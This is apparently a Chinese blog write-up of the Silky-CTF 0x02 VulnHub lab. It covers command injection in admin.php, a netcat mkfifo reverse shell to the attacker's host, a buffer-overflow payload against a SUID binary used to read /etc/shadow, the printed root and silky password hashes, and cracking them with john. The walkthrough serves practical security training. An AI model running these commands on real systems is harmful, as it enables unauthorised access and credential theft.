当前位置: 首页 > article >正文

Silky-CTF: 0x02靶场

Silky-CTF: 0x02

来自 <Silky-CTF: 0x02 ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.131

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.131

4,访问80端口开放的http服务

dirsearch -u http://192.168.23.131/ -x 403,404

http://192.168.23.131/admin.php

对这个登录系统进行漏洞验证,发现username提交表单处存在命令执行漏洞

http://192.168.23.131/admin.php?username=id&password=1

然后再反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.23.128 4444 >/tmp/f

序号

命令片段

作用

技术原理

1

rm /tmp/f;

删除可能已存在的旧文件 /tmp/f

清理残留文件,避免命名冲突

2

mkfifo /tmp/f;

创建命名管道文件 /tmp/f

建立 FIFO(先进先出)管道,实现进程间通信

3

cat /tmp/f

读取管道文件的内容

将管道数据作为输入流

4

|

管道操作符

将前一命令的输出作为后一命令的输入

5

bash -i

启动交互式 Bash Shell

-i 参数开启交互模式,支持用户输入

6

2>&1

将标准错误输出重定向到标准输出

合并错误流和输出流,确保错误信息不丢失

7

| nc 192.168.23.128 4444

通过 netcat 连接到攻击机 192.168.23.128 的 4444 端口

建立 反向 TCP 连接(目标机主动连接攻击者)

8

> /tmp/f

将 netcat 接收的数据写入管道文件

完成 数据循环:攻击者输入 → 管道 → Bash 执行 → 结果回传 → 管道

成功getshell

5,查找SUID文件进行提权

find / -user root -perm -4000 -print 2>/dev/null

查看一下这个文件

cd /home/silky

stat cat_shadow

./cat_shadow 123456

存在缓冲区溢出漏洞,利用之

./cat_shadow $(python -c 'print "A"*64 + "\x62\x59\x6c\x49"')

查看到了/etc/shadow文件内容,此时可以对root、silky用户的密码进行爆破

stat 命令作用详解

stat 是 Linux/Unix 系统中用于显示文件或文件系统的详细状态信息的核心命令。

功能类别

具体作用

示例输出字段

文件基本信息

显示文件的名称

File

显示文件的大小(字节)

Size

显示文件占用的磁盘块数

Blocks

显示文件类型(普通文件、目录、符号链接等)

File type

文件标识信息

显示文件的设备号(设备ID)

Device

显示文件的 inode 号(索引节点号)

Inode

显示文件的硬链接数量

Links

权限与所有权

显示文件的权限(八进制和字符表示)

Access: (0644/-rw-r--r--)

显示文件的所有者用户 ID 和组 ID

UidGid

时间戳信息

显示最后访问时间(Access Time)

Access

显示最后修改时间(Modify Time)

Modify

显示最后状态更改时间(Change Time,如权限、所有权等改变)

Change

显示文件创建时间(Birth Time,部分系统支持)

Birth

文件系统信息

显示文件所在文件系统的块大小

IO Block

显示文件所在的设备(如果是特殊设备文件)

Device type

 

6,将加密内容写入文本

root:$6$L69RL59x$ONQl06MP37LfjyFBGlQ5TYtdDqEZEe0yIZIuTHASQG/dgH3Te0fJII/Wtdbu0PA3D/RTxJURc.Ses60j0GFyF/:18012:0:99999:7:::

silky:$6$F0T5vQMg$BKnwGPZ17UHvqZLOVFVCUh6CrsZ5Eu8BLT1/uX3h44wtEoDt9qA2dYL04CMUXHw2Km9H.tttNiyaCHwQQ..2T0:18012:0:99999:7:::

vim passwd

gunzip /usr/share/wordlists/rockyou.txt.gz

cp /usr/share/wordlists/rockyou.txt .        

john --wordlist=rockyou.txt passwd 

7,然后ssh登录192.168.23.131

python -c 'import pty;pty.spawn("/bin/bash")'

su

SHELL=/bin/bash script -q /dev/null

组件

作用

技术原理

SHELL=/bin/bash

设置环境变量 SHELL 值为 /bin/bash

指定后续命令使用的 Shell 解释器为 Bash

script

启动终端会话录制工具

捕获终端的所有输入输出并保存到文件

-q

安静模式 (quiet)

隐藏 script 自身的启动/结束提示信息(如 "Script started...")

/dev/null

指定输出文件为系统空设备

丢弃所有录制内容(不保存到磁盘)

http://www.lryc.cn/news/2398514.html

相关文章:

  • Kafka 的优势是什么?
  • 基于FPGA + JESD204B协议+高速ADC数据采集系统设计
  • 微服务中引入公共拦截器
  • Ubuntu20.04 LTS 升级Ubuntu22.04LTS 依赖错误 系统崩溃重装 Ubuntu22.04 LTS
  • C++11:unique_ptr的基本用法、使用场景和最佳使用指南
  • 测量3D翼片的距离与角度
  • 零基础学习计算机网络编程----socket实现UDP协议
  • 谷歌地图2022高清卫星地图手机版v10.38.2 安卓版 - 前端工具导航
  • RAG的ETL Pipeline源码解读
  • 杭州白塔岭画室怎么样?和燕壹画室哪个好?
  • Linux文件系统:从VFS到Ext4的奇幻之旅
  • 5月底 端午节
  • 为何选择Spring框架学习设计模式与编码技巧?
  • 软件评测师 综合测试 真题笔记
  • 晶台光耦在手机PD快充上的应用
  • JS对数据类型的检测
  • llama.cpp:纯 C/C++ 实现的大语言模型推理引擎详解一
  • 【亲测有效 | Cursor Pro每月500次快速请求扩5倍】(Windows版)Cursor中集成interactive-feedback-mcp
  • BaseTypeHandler用法-笔记
  • 鸿蒙OSUniApp集成WebGL:打造跨平台3D视觉盛宴#三方框架 #Uniapp
  • 华为盘古 Ultra MoE 模型:国产 AI 的技术突破与行业影响
  • Payload CMS:开发者优先的Next.js原生开源解决方案,重新定义无头内容管理
  • CRM管理软件的数据可视化功能使用技巧:让数据驱动决策
  • linux批量创建文件
  • 颠覆传统!单样本熵最小化如何重塑大语言模型训练范式?
  • 华为数据之道 精读——【173页】读书笔记【附全文阅读】
  • 数据库OCP专业认证培训
  • ssm学习笔记day04
  • Read View在MVCC里如何工作
  • HDFS 写入和读取流程